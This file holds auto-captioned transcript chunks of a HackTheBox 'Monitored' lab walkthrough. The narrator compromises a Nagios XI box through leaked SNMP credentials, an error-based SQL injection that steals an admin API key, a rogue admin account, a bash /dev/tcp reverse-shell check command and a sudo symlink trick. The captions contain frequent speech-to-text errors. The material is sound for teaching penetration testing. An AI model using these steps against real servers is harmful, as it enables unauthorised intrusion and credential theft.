Add HackTheBox_-_Monitored.jsonl
Browse files- HackTheBox_-_Monitored.jsonl +46 -0
HackTheBox_-_Monitored.jsonl
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "what's going on YouTube this is IP I'm doing monitored from hack the box which has a central theme of just exploiting nagio literally from the beginning to the end of the box everything is exploiting nagios it starts off by finding nagios as password for a service account in SNMP and SNMP is often used by monitoring software to just get health and status of things so you find that service account you can't log in to the guy but you can enumerate some old apis use it to log into the API because that's what service accounts do they log in non-interactively and that enables you to see the dashboard and discover that it's an old version of nagio that is vulnerable to SQL injection you use that to get the API key of the admin because the hashes are not crackable and use other apis to create a new admin user so then you can log into the dashboard and then create a health check that gives you a reverse", "start": 0.16, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 2 |
+
{"text": "shell just typical things you normally do in monitoring software and then exploiting rout is abusing some pseudo rules that's put there by nagio itself so with that being said let's jump in as always we going begin with an end map so- SC for default scripts SV enumerate versions - VV for double verose so that would give us the TTL and things like that OA output all formats put in the end map directory and call it monitor then the IP address of 1010 11248 this can take some time to run so I've already ran it looking at the results we have a few ports open it looks like four and you see the reason right here and the S act TTL 63 that's because we put it in double verar so the first service is SSH on Port 22 its Banner tells us it's a Debian box we also have HTTP on Port 80 and its Banner tells us it's Apache", "start": 50.12, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 3 |
+
{"text": "httpd then we have ldap on 389 it's running open ldap uh we have https on 43 it's running Apache also says Debian and looking at the certificate we have a domain monitor. htb and also the HT p is redirecting us to n.m monitor. HTP oh and we have it here as well so let's go ahead and add this to our host file so pseudo VY host and then we can do 10 10 11248 nagus Monitor htb and then let's delete the word nagia so we have them both and I think that is about it all right that certificate is long for a very long time year 2297 and yep that's it so let's go take a look at the site so if I go to 10 10 11248 it's going to redirect me over to n.m monitor. htb we can accept this certificate um there it is and we have a thing that just says access nagios 11 so if we click on this we can see a login portal and we can do like nagios and nagios admin I want to", "start": 99.52, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 4 |
+
{"text": "say is the default for nagio it's been so long that doesn't work um don't really know what else to go on here so let's try doing a um virtual host Brute Force because we have a ngos. monitor. htb so we'll do a gobster vhost um nagios htb is the URL or monitored htb right n.m monitor. htb word list will be op list Discovery is it subdomains where's domains DNS and then we'll do subdomains top 1 million 5,000 and see if this gets anything uh we have an invalid certificate so let's add the- K to ignore SSL and that doesn't take too long to run doesn't look like we are getting any results another thing that I don't show often in videos is you should always be doing a UDP map as well and um I want to say that's is it capital Su I think it's this um we'll see if this works 101 11.", "start": 180.2, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 5 |
+
{"text": "248 and I'm going add the- V flag here uh we can also do a-a and map monitored dudp and let's see if we get anything it was DSU with lowercase we have initiating UDP scan and it's increasing the delay right here we probably shouldn't be doing a UDP scan while we're doing a gobster just because it isn't as reliable um and gobster discovered absolutely zero um domains which is odd so what I'm going to do here oh well I guess nagios isn't in the top 1 million so that isn't too odd uh we can check some basic ports uh what is snp's Port I'm actually blanking off stop head it's like 138 I want to say um SNMP default Port CU if it is UDP this is probably going to be it it's 161 how do I forget that because that's the name of so many like SNMP tools or things like that 138 would be like uh SNB right so let's do NC oh we'll just do SNMP", "start": 251.599, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 6 |
+
{"text": "walk right SNMP walk- v2c for the uh default version uh- C public and then we can do 10 11 to 48 and we get information back awesome so we do have SNMP running and it's been a while since we talked about SNMP and my box isn't configured with the mibs so that's why all this number is like not super readable so the first thing I want to do is install all the mibs so I'm going to do pseudo V Etsy SNM pnm.com and we're going to uncomment this Mier and then we're also going to install a pack package called um set it right here right SNMP nope let's do apt search SNMP I think it's MIB download or mibs downloader probably mibs yep there it is Z app install SNMP mibs downloader and what this is going to do is download all the mibs database it's not included by default because of stupid licensing things so you just have to install it manually it's annoying but only have to do it once on your OS so", "start": 321.08, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 7 |
+
{"text": "now when I do this SNMP walk again uh we don't have it there I want to say is it- M all there we go and that says load all mibs right and now those aren't just random oids we actually have the information about them the next thing is SNMP walk is pretty slow uh there is a SNMP bul walk which is much faster if you don't have this do like an apt install SNMP to install it and then I'm just going to save this output off to SN mp. out and you'll see how much quicker this is right it is like a 100 times faster than just a SNMP walk because it's doing it in Threads so instead of just doing one at a time it just does a bunch and gets tons and tons of data if we were trying to do the SNMP walk we would be here quite a while actually once this is done let's um actually time it we'll do a time with SNMP walk and SNMP B walk and see which one is faster um I didn't think I'd have", "start": 390.639, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 8 |
+
{"text": "to pause the video for this to run I thought it'd be done in like 30 seconds but maybe I will and we have to come back when it's there um right now we see it enumerating the installed packages so this is going to be like uh D package type things I want to say It's s SW run is what I want because that's going to give like all the running processes nine times out of 10 when you have SNMP on a box and it's enabled to do um like output all the processes that is going to be what you want to look at of course you also want to look at installed packages because you could find vulnerabilities there right now that that's done let's do um a grap nagus on sn. out and let's see what we have um I was expecting to see like the nagio package but I don't see the nagio package um it's probably past the like buffer there but I was hoping it would show like the version of nagios installed because that would um", "start": 454.16, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 9 |
+
{"text": "give some meaningful information let's see what is a package name I wonder if we do a GP on SNMP on this that's probably a bad one um what is is it Linux firmware is a super common one is it Linux Das firmware maybe it isn't giving me package names but we go back to the nagio output we have the Run name the Run path and run parameters so this is the output of PS just broken into many things the Run name is going to be the um like the name of what's running the Run path is going to be the full path and then run parameters it going to be the parameters it's on and notice these stay the same right so we have this and I don't maybe this is the P the 988 but if we grip on H run name 988 we'll get the name the path and the arguments right so let's do a GP like this on SNMP and that did not work like we thought it would uh let's do npcd 776", "start": 515.039, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 10 |
+
{"text": "maybe it doesn't have arguments oh because we did full run name I'm an idiot sometimes um let's do a GP on S SW run cuzz they all begin like that and then we'll do a GP on on what we do 988 there we go so we have I'm going to say PID 988 I'm not positive uh the process name nagios we have the Run ID I don't know exactly what this is then we have the Run path this is the full path the parameter this is probably it starting the Damon giving running the nagio binary and giving it the configuration path the Run type it's an application I don't know what runnable means and then the CPU and memory it's consuming right so that's a brief walkthrough of SNMP but I do want to try one thing before we go too far let's just do a time on that and we can do a time with just SNMP walk and we're going to see the difference in how long they", "start": 586.6, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 11 |
+
{"text": "take enter enter okay so you can see this is going incredibly fast compared to that but we'll just let that go um I'm actually going to put my cursor down here so we can see when SNP walk finishes so let's look at what else is on the HW run was it HW run like this uh c-i oh my God um that's already passed grip nagio SNMP out hrsw path memory of a goldfish I swear so let's do s SW run on stmp out and let's say um what do we want let's do run name let's see what things are running on this box so so we have sleep which is interesting PHP A bash gript probably Kon Apache exm 4 that's male uh pseudo is running nagios SNMP postgress shell in a box that just sounds funny I don't know exactly what that is Apache SNMP again audit D VMware tools um I'm kind of curious about this sleep and sh so let's go for 2211 then", "start": 657.24, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 12 |
+
{"text": "2221 so let's do that grap let's do grip we can do s SW run grip 2211 and we can see a bash script is running it's running a PHP and it's a nagio cron so let's look at what sleep is so let's do 2221 and that is just running sleep is there anything else interesting here we do have bash here so 1432 so let's look at 1432 and we have a script running opt scripts check host. and we have SVC and probably a password so um there's a password in command line arguments and since we can read the command line arguments it is leaked here so let's go ahead and try this with um the nuse login so we can do SVC and then copy this password attempt to log in and the specified user account is disabled or does not exist now it is SVC so it is probably going to be a service my first guess is um let's try seeing if we can log in with the API so I'm going", "start": 752.959, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 13 |
+
{"text": "to Google nagio API uh login CU I don't know exactly how it works and we have help with insecure login backend ticket authentication and if we look at this post uh let's see this probably isn't what we want going down we do have uh something talking about API V1 authenticate and then the next thing it does is gives us a token so let's try hitting this nagios um authenticate thing I'm going to do this in burp Suite instead of curl just because I think it's like easier for you to see what's going on so let's grab this password again and then I'm going to intercept to go to burp Suite proxy intercept is on okay go to repeater we'll name this um SVC off and let's see we just want username and password so I'm going to delete all all of this stuff and we want to go to the URL API V1 authenticate there we go we send this we", "start": 833.759, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 14 |
+
{"text": "have a token and it's valid until the 6th of May so we have this token and we want to see if this token works so um all they're doing is hitting a end point and doing and token is equal to token so theoretically all I have to do is go to uh nagus let's just go disable and I'm going to sayk token is equal to this and we magically get logged in as the SVC user and the really weird thing about this is it edits the PHP authentication session or the PHP session on the server just tell me I'm logged in so if I just hit the now I don't need the token for further request I'm just logged into nagios if you don't know nagios it's like zabic if you don't know zabic it's just a infrastructure monitoring tool so I can look at all the services that it's monitoring and see that it's okay and this makes sense why like SNMP is on the box right because nagio really likes using SNMP to monitor", "start": 913.36, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 15 |
+
{"text": "things it also has um an agent you can install but um SNMP is always also a good thing so this is just telling us all the status we do have the version of nagios install now so it's 5.11 so I always just when I see versions I just go and Google the nagio version exploit and then replace that with any service you find and we have a SQL injection vulnerability so if we look at this blog post we have a post request to the nagio admin Banner message Ajax helper um here's the data and apparently this is SQL injectable so let's go take a look at this manually we're going to use SQL map as well but I always like showing the manual way to do these type of things as well so what do we need to hit uh we need to hit this Ajax helper so I'm going to copy that let's just send this here we can do a post request and then let's send this", "start": 980.16, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 16 |
+
{"text": "and we have failed to acknowledge U message so let's not put a number here let's put Please Subscribe and we have a SQL error and it says unknown column please subscribe so at this point we know we have a error-based SQL injection and with this it becomes rather tricky to actually get data out of it it's not as straightforward as a union but the easiest way I know of is using X path injection and to do that we use a function called extract value and then um we can give it parameters so we'll do zero I don't know oh do this so that's going to add I think a line break and then I can probably say select version like this and I think I just exit out like that what's this do and we have the version awesome if we didn't do 0 a let's just do one I don't exactly know what that value is doing there uh let's see extract", "start": 1051.679, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 17 |
+
{"text": "value MySQL it's been so long since I did this um takes two argument strings XML frag and X path so this argument does not matter um I think this is where we're getting an error but okay so kind of ignore like the hand waving thing of just knowing this um actually like when I was doing this box the first time I went to ic. ro and searched for like MySQL error and found a video and I Ed this I probably explained it better in that video but we can just do queries from here so what we want to do is I guess we'll do it manually um I was going to set up SQL map now but let's um go forward so I want to um go to information schema so we'll do information schema MySQL because I can never remember all the columns in this stupid database so we'll go here table reference and let's see we want to go to scha first because this is going to tell", "start": 1123.76, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 18 |
+
{"text": "us all the databases we could have also probably done select database right uh fail to acknowledge that did not work huh I'm trying to think why that wouldn't work do we have to give it like bad data let's do a concat here select database I could have swore that should tell me the database but obviously I am wrong okay well we don't need that because we're going to go do it this way and we want to grab the schema name from this so we'll do select schema name from information schema do schem and if this works it's going to tell me there are multiple rows and my query failed but I'm going to be happy if it tells me that there we go subquery return more than one row so with that I say let's just do a um is it group conat like this and we only got one I expected to get two CU we just have nagio XI right", "start": 1198.08, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 19 |
+
{"text": "there let's see that failed I'm confused right now let's see here in my SQL we need a freny there because it should tell me information schema I don't know why it's not and it's bothering me because um is it just a concat no we definitely need group because when I want to return more than one thing it's going to screw me over huh oh well just keep that in mind uh we can also just go like do it one by one so if we do limit 01 uh we should get that's not what I expected something is definitely going odd so that's a invalid query select schema name from information schema so this is just returning oh I think I know what's happening this is returning something and it's actually not creating the SQL error so we're getting a message let's just say it returned four yeah so it's not causing the error", "start": 1306.52, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 20 |
+
{"text": "so this is why I want to use my concat statement and I'm just going to put a line break in here there we go so what I'm doing here is making sure this ID parameter is bad I put a line break because it's always like this ID if it has a line break it's always going to fail and I want it to fail because if it fails I get the error message without this the query wasn't failing so I wasn't getting the error message um so hopefully that makes sense and now let's tell my group concat real quick and we're going have to get rid of that limit statement is that now going to give me information schema there we go so everything is right in the world we're getting all the data we need so we have two data uh databases or yeah two databases nagio XI and information schema so let's try going for the columns so let's go to the column table", "start": 1437.32, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 21 |
+
{"text": "and man it's been a while since we did SQL injection and this portion of the video is much longer than it normally is for enumerating the database but oh well hopefully it is enjoyable so we want the table schema because that's going to be the nagio XI so we can say this is going to be the columns table I want do where um table uncore schema is equal to nagios XI and then on this group concat we want to grab the table name and column name and we run this query and we start getting data uh we may want to put like a colon in between but we start getting the data however we're limited to the number of characters so if we want to grab this we probably should just try to grab all the um tables first and then do a lot of manual enumeration this is why SQL map makes this so much more easy because this is a very manual process but it does pay to understand exactly", "start": 1498.6, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 22 |
+
{"text": "how it works right so my next step would be just go for the table name we're going to get rid of the group concat because we only want to return one row at a time and instead of the columns table oh yeah The Columns table we're going to do the tables and we we now just do a limit so we'll do limit 01 and the first table is Xi deploy agents we have say stat and this is how we can get a list of all the tables now you could also go now at this point to use Intruder so if we send it over to Intruder um let's go and we'll put our little payload over here over this number and then we go to payloads we can change the type to numbers we'll do0 to let's do 30 and if we do start attack we start getting a bunch of data right so we could click through each of these but that I don't like clicking through I don't think you do either um I'm going to change one thing I want to put a character at the start of this to", "start": 1568.559, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 23 |
+
{"text": "make my regular expression a little bit easier so let's discard that we'll run this again um I'm going to go to my select statement and I'm going to say select concat I'm going to put a pipe character because pipe is very rarely used um if I just say search for a pipe it's probably going to find it right so we have select and we're going to put a pipe and then the table name so now let's start an attack we'll look at the response right and we see we have the pipe and then our table name and that puts a single quote so what we can do here now is go to settings and say GP extract and then we'll start after the expression of a pipe and end at the single quote and then do okay and now we go back to results uh we don't have it what um edit exclude that response did find it there we go maybe it just took a little while but we have them now and you can see all the tables this way so", "start": 1642.0, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 24 |
+
{"text": "if you just wanted a quick and dirty way with burp this is the way and we have the users so with users we can just do what we were doing uh let's discard this you probably should be saving this but um we're not known for taking notes here so now I can go to the columns so if i contr z a few times will that get me there probably there we go so table schema is equal to nagio XI and table name is equal to XI oh God hopefully it was XI users username okay that is right we want to get rid of the group concat again because we're going beyond the amount of data we can extract so if we just go like this select column name subquery return more than one yeah yeah let's do a limit 01 and let's see we have an error select column name because I did not get rid of that thing and what this one does is this is how many um rows you want to extract so this say saying", "start": 1720.279, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 25 |
+
{"text": "extract the very first entry extract the second entry so we have um user ID username password uh let's see we probably want username and SNMP walk walk took one minute walk took 10 minutes I think I said like 10 times faster I was not exaggerating so let's do notes uh we want to grab us username password what other things are here was it username yes password name I don't care about email don't care about backend ticket don't care about uh enabled maybe a good one API key API enabled login attempts don't care last attempt don't care password change just looking at all the entries in this table and looks like we got them so we probably want to grab the users now so I'm just going to go here we'll say this is infos schema and we can call this let's say we want to do select username from xior", "start": 1799.2, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 26 |
+
{"text": "users and I think we just do Z One Nag's admin is the first user and we can do the second SBC and it looks like that may be it so we only have two users it looks like nagios admin and SVC we've already logged in with SVC so I'm going to focus on nagio admin so if we grab password uh we don't get the full hash which sucks we may want to use um SQL map for that um I guess we'll do it manually as well I really was not looking forward to doing that um API key because we have to do with the API key as well oh man um I was not expecting that have to do this so let's see Echo dasn how many characters do we have 28 let's see SQL grab first eight characters there's like a truncate Command right so we can do left do this okay so left is the command so if I was faced at this and I can't use like SQL map my first thing would do is left and I going to grab two I want", "start": 1896.36, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 27 |
+
{"text": "it to see IU and that's why I see um so if we do 28 we can get this and probably want to use subst string right here not left because when we do left we can't really move the cursor to the right to grab the next 28 characters so let's switch over to substring was it subst string so we'll try 028 that failed completely there we go does not like using zero so we end at 3 y okay and then I'm going to do 28 to uh what was it 28 + 28 is it 56 and YN let's see if I do 27 3 y y okay so we want to do 29 to 56 we can grab this okay then we can say 57 to let's just do 70 let's keep them even oh we don't even have that many that's definitely not 13 characters so that is the API key if we did it correctly ly so let us um try this we can do it with the password string as well but I'm going to tell you now um my power hindsight says the password is not crackable so it", "start": 1996.88, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 28 |
+
{"text": "would be a waste of time just doing it with the password string so at this point we're going to look at how to log into the um API we have the token we don't know how to log in so if we do nagios XI or we'll just do nagio API log in I'm going put V1 in as well because when we doing the previous exploit um it used a V1 see does this do there was a authenticate just saw right here so API V1 authenticate and we give it the username password okay and go back here that is not what we wanted um nuse authenticate API key create n server I guess we can see exactly what that exploit script did after because maybe the key we get from this is the same thing as our API key so what do we hit where is a V1 so authenticate we sent a post to system user API key username okay so this looks like it's creating a a new user because it's", "start": 2110.96, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 29 |
+
{"text": "making a post request to user and then we're sending um username password the off level is admin so this is definitely looking promising um we send a post is there anything here we do open api. Json no API key provided API key invalid let's hope we grab this key correctly no endpoint open api. Json so that's fine we got a essentially a 404 or literally a 404 so now we want to do was it system user and what were the parameters they give it user name so we'll do username is IPC password is password and then let's see I guess we need we did username password we'll do name ipac email root ic. and then oore level is equal to admin and we have created the user IAC oddly enough there's six user IDs I thought there were only like two weird maybe some got deleted so let's log out and try to log in as ipac uh yes I agree to the", "start": 2219.44, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 30 |
+
{"text": "license uh let's just put a new password in because it wants us to change it and we get logged into to nagios as an admin and we've exploited nagos quite a few times um or zabic or just various monitoring tools uh when you're on the host the normally the easiest way to exploit one of these is to create a new check and have that check be a reverse shell and then just run the check so if I go to configure core manager and then we go to commands let's create a new command I'm going to call it reverse shell we'll say b-z b-i let let's make this a bit bigger for you uh Dev TCP 10 10 148 9,10 and one like that and then we can save this command we want to apply the configuration and now we go back let's see navigation configure configure core manager making the thing bigger just changed everything that was", "start": 2327.0, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 31 |
+
{"text": "odd so we go to Services let's add a new check and the command is going to be a reverse shell and then we just run check command so I'm going to do NC lvmp 901 let's click run check command run command and this is mainly used for testing out your like script to see if it works but in our case um we don't really care we just want a reverse shell uh so now we have a shell as the nagio user let's do export oh no um python 3-c import PTY pt. spawn bin bash fix that typo then stty raw minus Echo FG enter enter export term is equal to X term and now we have a um shell as nagio but let's take a step back because I do want to show SQL map on that one exploit so we can go back here and now let's go back to bur Suite go to our SQL injection thing and we're going to put a star here because this is how you tell Q map what parameter you want to inject to um we could just leave", "start": 2406.88, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 32 |
+
{"text": "it blank and do A- p as well uh but when I'm doing like a request like this I generally just um like putting the star so let's see we do htb and what is this box name monitored I'm going to call this um inject dosq I guess and let's see recession has timed out let us create a new cookie again session timed out let's see I'm going to log out let's do nagios XI token is equal to this so now we're logged back in I wonder have to create a whole new cookie what is a cookie let's go to storage we have a different session this there we go so we have to update this and the request we saved I think we have to highlight everything I guess and do copy to uh file save yes uh why is everything going slow okay that's looking better so now we should be able to do SQL m-r inject SQL batch we tell it SSL because this is https um and I think that's", "start": 2491.8, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 33 |
+
{"text": "it uh let's see is it D- use- cell or something weird like that uh SQL map Dash there's definitely a way to tell it to use SSL dump all tables map use SSL what is that flag plus session because right now if I just send the request it's not going to use SSL if we did this yeah we're getting a 302 redirect which doesn't happen we never saw a redirect before and this is just odd how it's redirecting us with like a bad URL one of this is just a display thing on SQL map um but if we look at a request there's nothing that tells tells it to use port 443 here so that's why it just thinks it's a uh HTP site I know there's a SSL flag I just don't know what it is Dash SSL not dash dash we still did the redirect I don't think that was it because we tested for error based and didn't find it yeah so if I do any argument with a one dash it just goes", "start": 2608.64, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 34 |
+
{"text": "through is it like force SSL okay I don't see a redirect anymore so that was it for- SSL I don't know how to find that if you don't have it just memorized that is painful but since not doing the redirect I think we may get something we probably should add like technique error or something like that so it just automatically runs come on we're doing or bullly and blind I think a SQL is next which hopefully gives us the result we expect because we are still logged in right we lost our burp Suite window there it is yep we have it it's just going incredibly slow so I may just pause the video and we'll come back when um this finishes okay it probably took about 5 10 minutes but we have it completed and it successfully found a error based injection so we could also just do like- T for tables or we do Dash Das tables to", "start": 2746.44, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 35 |
+
{"text": "dump all the tables I think let's see if that works yes it is getting all the table names this way and then we can specify um tables and um dump to dump the actual tables and wow we probably should add A-D nagio XI to tell it the nar's XI database because it was going through information schema and if we dump information schema that's just going to take forever because it's such a big um thing so there we go we have it dumping all the tables we can do- TXI users D- dump and it's going to dump each of the column names first and then it's going to dump the actual data right and you could just specify D- dump at the beginning not specifying anything but it's just going to take a very very long time because aor based injection isn't as fast as Union based because you have a limited number of characters you can work with so you can't just do these big queries that just extract everything", "start": 2834.359, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 36 |
+
{"text": "right so here it is dumping everything we got my IPC user as well and let's see if there's any anything else um doesn't look like it I'm going to just L this file real quick let's do a less- capital S so it just goes on that and we can see one 12 six so this is why my user id was six they are probably four deleted users between this SVC and my user right but we have all the users here and that is how you do it with SQL map so let's get back to the um box we are nagus at monitored the first thing I generally do when I land on a box is look for any credentials and I know there's going to be a credential in the nagios config to talk to my squel so let's go see if we can find it um when we did the SNMP we saw like nagia loaded with a config so that's going to be where I look so I'm going to do ps- efp on", "start": 2900.24, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 37 |
+
{"text": "nagios and we see the config is going to be um let's do also a grip on CFG right there nagio Etsy config so if we look at this let's see is there a password uh let's fix our TTY real quick st- a 28110 stty row 28 cols 110 I got those from right there so now what I do less it just behaves a bit better uh but let's use grap D I pass I don't see password sometimes it's like PWD for password I guess and I don't see it let's see my SQL user local nagios Etsy gra my SQL huh nagos change my SQL whoops nuse change my SQL password see go here nuse XI there's an XI then Etsy cat XI sis.", "start": 2958.2, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 38 |
+
{"text": "config and here we have it the password is just nagio X SI so it's probably the default MySQL password this doesn't really buy us anything we could also check pseudo and oh boy we have a lot of pseudo stuff so we can restart nagios let's see what else we can do uh if we look at this PHP script I'm going to ignore that because I don't want to look at that Let's do c-l let's see I don't know what send NLS is my if we look at get profile what is this going to do you must enter a folder name so get profile ID and then what is this doing pseudo get profile what do idea one so it looks like it creates a profile and zip a bunch of things up so let's look at this do folder right here it's just looking at like what OS see version so I'm guessing this is going to be vulnerable to like a Sim link or something just because whenever you zip things like Sim links or one of the top", "start": 3053.319, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 39 |
+
{"text": "things to look for right now I see it's removing the profile folder then creating one and then like adding a bunch of files and then it's going to make a zip at the end I'm guessing if we look at zip so my first thought is let's try to exploit a timing condition if we delete the folder then make it I can probably then Create a Sim Link in this and then when it gets down to the zip it'll just follow the Sim link that's my first thought so let's uh put a key here uh let's see SSH Key gen-f nagios Cat ngos. Pub xclip uh is it selection Das clipboard it's probably Dash selection there we go authorize keys paste that sh- I nagio at 10 10 11 248 nagio nagio yes okay so what we want to do is go back to this file and it's going to remove this directory and then create it and this folder is what we say right the folder", "start": 3147.52, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 40 |
+
{"text": "is equal to um the argument we give it so if I run this pseudo again then let's do ln- s root to profile one/ root like this and and we don't have permission because we're running witho it creates the directory and it's removing our permission to do it so what we have to do then is find a file that we can actually write and um replace that with the siming probably so let's see how it pulls all this data make dur so right here it's catting a file I'm looking for it just to like copy a file uh let's see CMD subs.", "start": 3242.319, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 41 |
+
{"text": "log maybe this is it let's see stat on this who is this owned by nagio nagio it's a regular file so this is a good candidate let's see I think this will be fine I'm just going to move this file and then let's do ln- s and I'm going to hope there's a IDR sa file we should probably just try root root. text but I'm going to try this first CMD subs.", "start": 3315.04, "duration": 0.0, "meta": {"video_id": "Ulb2rm2qbJY", "title": "HackTheBox - Monitored", "url": "https://www.youtube.com/watch?v=Ulb2rm2qbJY"}}
|
| 42 |
+
